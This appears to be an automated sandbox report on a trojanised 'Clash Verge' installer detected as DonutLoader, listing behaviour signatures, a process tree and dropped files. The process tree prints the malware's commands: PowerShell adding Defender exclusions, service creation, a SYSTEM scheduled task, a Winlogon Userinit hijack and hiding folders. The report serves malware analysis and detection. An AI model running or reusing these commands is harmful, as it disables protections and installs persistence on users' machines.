Analysis

  • max time kernel
    600s
  • max time network
    595s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    30/07/2026, 11:56

General

  • Target
    Clash.Verge2.5.2x64.exe
  • Size 116.6MB
  • Sample260730-n4a1kagh87
  • SHA256 2e48a2bb5ab619cd2ba29d7f860192ccd1b1f75f71051b4fa80428da0cc3c32f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: DonutLoader

    DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.

  • Detects DonutLoader 3 IoCs
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Sets file to hidden 1 TTPs 2 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Creates new service(s) 2 TTPs
  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 45 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in System32 directory 4 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Inno Setup is an open-source installation builder for Windows applications. 2 IoCs

    Inno Setup installer

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Clash.Verge2.5.2x64.exe
    "C:\Users\Admin\AppData\Local\Temp\Clash.Verge2.5.2x64.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3392
    • C:\Users\Admin\AppData\Local\Temp\is-WPHAZW2IUZ.tmp\Clash.Verge2.5.2x64.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-WPHAZW2IUZ.tmp\Clash.Verge2.5.2x64.tmp" /SL5="$602D6,121060023,887296,C:\Users\Admin\AppData\Local\Temp\Clash.Verge2.5.2x64.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:3892
      • C:\Drivers\5eF2q\rK4hJz8.exe
        "C:\Drivers\5eF2q\rK4hJz8.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:660
        • C:\Windows\SYSTEM32\sc.exe
          sc start VSS
          4⤵
          • Launches sc.exe
          PID:3268
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2676
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionProcess VSSVC.exe; Add-MpPreference -ExclusionProcess ctfmon.exe; Add-MpPreference -ExclusionPath 'C:\Drivers'; Add-MpPreference -ExclusionPath 'C:\Windows\System32'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5020
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionProcess VSSVC.exe; Add-MpPreference -ExclusionProcess ctfmon.exe; Add-MpPreference -ExclusionPath 'C:\Drivers'; Add-MpPreference -ExclusionPath 'C:\Windows\System32'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1568
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionProcess VSSVC.exe; Add-MpPreference -ExclusionProcess ctfmon.exe; Add-MpPreference -ExclusionPath 'C:\Drivers'; Add-MpPreference -ExclusionPath 'C:\Windows\System32'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4540
    • C:\Windows\system32\sc.exe
      sc create SysManager binPath= "cmd /c cd /d \"C:\Drivers\5eF2q\" && start \"\" \"C:\Drivers\5eF2q\rK4hJz8.exe\"" start= auto
      2⤵
      • Launches sc.exe
      PID:4260
    • C:\Windows\system32\sc.exe
      sc create NetSvc binPath= "cmd /c cd /d \"C:\Drivers\5eF2q\" && start \"\" \"C:\Drivers\5eF2q\nBktV.exe\"" start= auto
      2⤵
      • Launches sc.exe
      PID:1744
    • C:\Windows\system32\sc.exe
      sc failure SysManager reset= 0 actions= restart/1000
      2⤵
      • Launches sc.exe
      PID:3368
    • C:\Windows\system32\sc.exe
      sc failure NetSvc reset= 0 actions= restart/1000
      2⤵
      • Launches sc.exe
      PID:4532
    • C:\Windows\system32\sc.exe
      sc start NetSvc
      2⤵
      • Launches sc.exe
      PID:2820
    • C:\Windows\system32\sc.exe
      sc start SysManager
      2⤵
      • Launches sc.exe
      PID:3412
  • C:\Windows\system32\cmd.exe
    cmd /c cd /d "C:\Drivers\5eF2q" && start "" "C:\Drivers\5eF2q\nBktV.exe"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4584
    • C:\Drivers\5eF2q\nBktV.exe
      "C:\Drivers\5eF2q\nBktV.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:836
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /create /F /tn SysManager /tr C:\Drivers\5eF2q\rK4hJz8.exe. /sc ONSTART /ru "NT AUTHORITY\SYSTEM" /rl HIGHEST
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2940
      • C:\Windows\SYSTEM32\sc.exe
        sc start SysManager
        3⤵
        • Launches sc.exe
        PID:4840
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c "icacls \"C:\Drivers\" /deny Users:(D)"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3588
        • C:\Windows\system32\icacls.exe
          icacls \"C:\Drivers\" /deny Users:(D)
          4⤵
          • Modifies file permissions
          PID:4472
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c "icacls \"C:\Drivers\" /grant Users:(OI)(CI)(RX)"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2596
        • C:\Windows\system32\icacls.exe
          icacls \"C:\Drivers\" /grant Users:(OI)(CI)(RX)
          4⤵
          • Modifies file permissions
          PID:4252
      • C:\Windows\SYSTEM32\attrib.exe
        attrib C:\Drivers +s +h
        3⤵
        • Sets file to hidden
        • Views/modifies file attributes
        PID:4184
      • C:\Windows\SYSTEM32\attrib.exe
        attrib C:\Drivers\* +s +h /S /D
        3⤵
        • Sets file to hidden
        • Views/modifies file attributes
        PID:2092
      • C:\Windows\SYSTEM32\reg.exe
        reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d C:\Windows\system32\userinit.exe,C:\Drivers\5eF2q\rK4hJz8.exe., /f
        3⤵
        • Modifies WinLogon for persistence
        PID:4028
  • C:\Windows\system32\cmd.exe
    cmd /c cd /d "C:\Drivers\5eF2q" && start "" "C:\Drivers\5eF2q\rK4hJz8.exe"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1088
    • C:\Drivers\5eF2q\rK4hJz8.exe
      "C:\Drivers\5eF2q\rK4hJz8.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1516
      • C:\Drivers\5eF2q\rK4hJz8.exe
        "C:\Drivers\5eF2q\rK4hJz8.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Modifies trusted root certificate store through registry
        • Modifies system certificate store
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3096
        • C:\Windows\system32\cmd.exe
          cmd ver
          4⤵
            PID:5024
          • C:\Windows\system32\w32tm.exe
            w32tm /resync
            4⤵
              PID:3584
      • C:\Windows\system32\cmd.exe
        cmd /c cd /d "C:\Drivers\5eF2q" && start "" "C:\Drivers\5eF2q\rK4hJz8.exe"
        1⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1436
        • C:\Drivers\5eF2q\rK4hJz8.exe
          "C:\Drivers\5eF2q\rK4hJz8.exe"
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4840
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -u -p 4840 -s 488
            3⤵
              PID:4252

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              F05aBjmR.rf

              • Path C:\Drivers\5eF2q\F05aBjmR.rf
              • Size 292KB
              • SHA256 5b7a628d7a03c9da1322c62cc861014e100b0dd2c789d7769ef274a49fe6d2f3
              • MD5 SHA1 SHA512 SSDEEP TLSH

              YKD9Pm8KjZ.dqyw

              • Path C:\Drivers\5eF2q\YKD9Pm8KjZ.dqyw
              • Size 707KB
              • SHA256 bfca77c90c1a38ebe6d44f2dbfe206944eee52905b3eca47e4a264462dc2b5d9
              • MD5 SHA1 SHA512 SSDEEP TLSH

              bAAF9E.aip

              • Path C:\Drivers\5eF2q\bAAF9E.aip
              • Size 673KB
              • SHA256 d2b796377f690b0cc742bb2a45e15fb63a4e2849e29867c9f6a974926cd78550
              • MD5 SHA1 SHA512 SSDEEP TLSH

              glib-2.0-0.dll

              • Path C:\Drivers\5eF2q\glib-2.0-0.dll
              • Size 1.3MB
              • SHA256 c764bf91b3c3e0211c770d85d8a91aec780ab57bec45c471640dee71996632a3
              • MD5 SHA1 SHA512 SSDEEP TLSH

              gmodule-2.0-0.dll

              • Path C:\Drivers\5eF2q\gmodule-2.0-0.dll
              • Size 34KB
              • SHA256 2410d4decf55634551f60e4bff97bf31f48d5e4b16f35b63c272113c34fe316a
              • MD5 SHA1 SHA512 SSDEEP TLSH

              gobject-2.0-0.dll

              • Path C:\Drivers\5eF2q\gobject-2.0-0.dll
              • Size 337KB
              • SHA256 d524599070624e36e1fe66f6b51b6293617f8b121f9070733ee7e65b9f533e06
              • MD5 SHA1 SHA512 SSDEEP TLSH

              intl.dll

              • Path C:\Drivers\5eF2q\intl.dll
              • Size 89KB
              • SHA256 ffafa5df4a802721d91b1ee4fdb47c382b857075c7ea844da37a4fa5d9e0c252
              • MD5 SHA1 SHA512 SSDEEP TLSH

              pcre.dll

              • Path C:\Drivers\5eF2q\pcre.dll
              • Size 417KB
              • SHA256 a8f99656e08dace4a8c5d0464e709e66d2b7f7da7f6cca53960a0b77b0e152ed
              • MD5 SHA1 SHA512 SSDEEP TLSH

              rK4hJz8.exe

              • Path C:\Drivers\5eF2q\rK4hJz8.exe
              • Size 108KB
              • SHA256 f61d37b15a18ba4496e9978d884164fbb3527121ff4dbb8c30537c76ad67e33e
              • MD5 SHA1 SHA512 SSDEEP TLSH

              vcruntime140.dll

              • Path C:\Drivers\5eF2q\vcruntime140.dll
              • Size 121KB
              • SHA256 d5e4d9a3e835fa679450145d6a7d94e36573a509317111904d9b3712c30d9066
              • MD5 SHA1 SHA512 SSDEEP TLSH

              vcruntime140_1.dll

              • Path C:\Drivers\5eF2q\vcruntime140_1.dll
              • Size 48KB
              • SHA256 1f2d41c4aa5db0bc33ebf7b66d72943a817d7ce6cbe880502a9403823633093f
              • MD5 SHA1 SHA512 SSDEEP TLSH

              vmtools.dll

              • Path C:\Drivers\5eF2q\vmtools.dll
              • Size 79KB
              • SHA256 357846c1c3b77fcf33ed3611f6087ba5ea8b821db0175b1ed21a8a0f93062f79
              • MD5 SHA1 SHA512 SSDEEP TLSH

              drivers.dat

              • Path C:\Drivers\drivers.dat
              • Size 29KB
              • SHA256 f9f31ca064b115892d545171c3d71dcdefa36779ddbbae2e228fce201ab32836
              • MD5 SHA1 SHA512 SSDEEP TLSH

              drivers.dat

              • Path C:\Drivers\drivers.dat
              • Size 30KB
              • SHA256 daac3de41dfc77c36f7f53f67e4f73f0172fd2816a90ac2ef26d588a4695f35f
              • MD5 SHA1 SHA512 SSDEEP TLSH

              drivers.dat

              • Path C:\Drivers\drivers.dat
              • Size 30KB
              • SHA256 7e4420457281d02b2c20ab76ae41c6319cc7240100eaeb47193a28813ad0ffca
              • MD5 SHA1 SHA512 SSDEEP TLSH

              drivers.dat

              • Path C:\Drivers\drivers.dat
              • Size 31KB
              • SHA256 e6275099f1977cc07b308695e16f991af30be24de573385120cfc1878cb80144
              • MD5 SHA1 SHA512 SSDEEP TLSH

              drivers.dat

              • Path C:\Drivers\drivers.dat
              • Size 32KB
              • SHA256 62d0283cdd831ba6890d6a41708ed4c04ed54c21a492f74ebe784634d0620750
              • MD5 SHA1 SHA512 SSDEEP TLSH

              drivers.dat

              • Path C:\Drivers\drivers.dat
              • Size 33KB
              • SHA256 d19342d3c09a69e046835759197d03103dac9a242ce881168a07776ddcb8beba
              • MD5 SHA1 SHA512 SSDEEP TLSH

              drivers.dat

              • Path C:\Drivers\drivers.dat
              • Size 6KB
              • SHA256 4fe59d8817c145cd1584ab27106cff7371afe30c2ae26ae21370c81bce967716
              • MD5 SHA1 SHA512 SSDEEP TLSH

              drivers.dat

              • Path C:\Drivers\drivers.dat
              • Size 82KB
              • SHA256 51012d1dbb71fa6e56b63cdb871192eca6918cc758c4fbdd025813bec9cc41b7
              • MD5 SHA1 SHA512 SSDEEP TLSH

              drivers.dat.0

              • Path C:\Drivers\drivers.dat.0
              • Size 32KB
              • SHA256 3e56d9f52c2c4bca38b61424e2a77020f52fa4165f9fdf178c33299516d79f21
              • MD5 SHA1 SHA512 SSDEEP TLSH

              drivers.dat.0

              • Path C:\Drivers\drivers.dat.0
              • Size 32KB
              • SHA256 d88e4ef986384d35909704ac92cd8d2e3e4b278f924ea040b8159559f1d97b49
              • MD5 SHA1 SHA512 SSDEEP TLSH

              drivers.dat.0

              • Path C:\Drivers\drivers.dat.0
              • Size 80KB
              • SHA256 0a54f2f7414f0559fd51bb5e3cf2ecd0118ca420adac8432d3b99eae2774f082
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Clash.Verge2.5.2x64.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\is-WPHAZW2IUZ.tmp\Clash.Verge2.5.2x64.tmp
              • Size 4.2MB
              • SHA256 44f0856741c464465eab526da2f23fd82ff36e2377bd8b45db8fcf6317b2901b
              • MD5 SHA1 SHA512 SSDEEP TLSH

              __PSScriptPolicyTest_pno5c0kd.bqo.ps1

              • Path C:\Windows\Temp\__PSScriptPolicyTest_pno5c0kd.bqo.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              powershell.exe.log

              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              • Size 4KB
              • SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
              • MD5 SHA1 SHA512 SSDEEP TLSH

              StartupProfileData-NonInteractive

              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 93fd3c992521cef182e6847f4f6658c58cfd5bdde16d4732d1c055b3c9e34398
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 16fd6d94e0c7b32399059973de03a1dbb59b775d635e3cdbaf884aed03828607
              • MD5 SHA1 SHA512 TLSH

              memory/836-997-0x000001A8E3EF0000-0x000001A8E3F6D000-memory.dmp

              memory/836-995-0x000001A8E3AF0000-0x000001A8E3B44000-memory.dmp

              memory/1568-827-0x000001B8D7900000-0x000001B8D83C2000-memory.dmp

              memory/2676-329-0x000001EEF49C0000-0x000001EEF4A11000-memory.dmp

              memory/2676-355-0x000001EEF4B30000-0x000001EEF4BA4000-memory.dmp

              memory/3096-1297-0x0000018B12280000-0x0000018B15455000-memory.dmp

              memory/3096-1295-0x0000018B10280000-0x0000018B1098E000-memory.dmp

              memory/3392-0-0x0000000000790000-0x0000000000878000-memory.dmp

              memory/3392-130-0x0000000000790000-0x0000000000878000-memory.dmp

              memory/3892-5-0x00000000014D0000-0x00000000014D1000-memory.dmp

              memory/3892-77-0x00000000004E0000-0x000000000092D000-memory.dmp

              memory/4540-846-0x0000027F19920000-0x0000027F1A3E2000-memory.dmp

              memory/5020-788-0x00000255F3810000-0x00000255F3832000-memory.dmp

              memory/5020-807-0x00000255DA910000-0x00000255DB3D2000-memory.dmp

              memory/5020-804-0x00000255F3E40000-0x00000255F3E4A000-memory.dmp

              memory/5020-803-0x00000255F3E30000-0x00000255F3E36000-memory.dmp

              memory/5020-802-0x00000255F3E00000-0x00000255F3E08000-memory.dmp

              memory/5020-801-0x00000255F3E50000-0x00000255F3E6A000-memory.dmp

              memory/5020-800-0x00000255F3DF0000-0x00000255F3DFA000-memory.dmp

              memory/5020-799-0x00000255F3E10000-0x00000255F3E2C000-memory.dmp

              memory/5020-798-0x00000255F3C90000-0x00000255F3C9A000-memory.dmp

              memory/5020-797-0x00000255F3AD0000-0x00000255F3B83000-memory.dmp

              memory/5020-796-0x00000255F3AB0000-0x00000255F3ACC000-memory.dmp